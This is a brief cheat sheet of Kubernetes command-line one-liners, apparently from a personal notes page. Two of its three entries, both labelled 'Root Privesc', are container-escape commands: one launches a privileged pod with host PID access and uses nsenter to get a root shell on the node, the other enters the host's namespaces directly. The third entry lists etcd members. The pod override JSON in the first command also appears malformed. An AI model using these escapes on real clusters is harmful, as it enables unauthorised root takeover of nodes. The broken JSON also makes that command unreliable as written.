Handy Kubernetes One-Liners

[VltraHeaven]

Handy Kubernetes One-Liners

Root Privesc

kubectl run r00t --restart=Never -it --rm --image alpine:latest --overrides \
	'{ "spec": { "hostPID": true, "containers": [{ \
	"name": "1", "image": "alpine", "command": [ \
	"nsenter", "--mount=/proc/1/ns/mnt", "--", "/bin/bash" \
	], "stdin": true, "tty": true, "securityContext": { \
	"privileged": true }]}}'

List etcd members

docker exec -e ETCDCTL_ENDPOINTS=$(docker exec etcd /bin/sh -c "etcdctl member list | cut -d, -f5 | sed -e 's/ //g' | paste -sd ','") etcd etcdctl endpoint status --write-out table

Root Privesc 2

nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net /bin/bash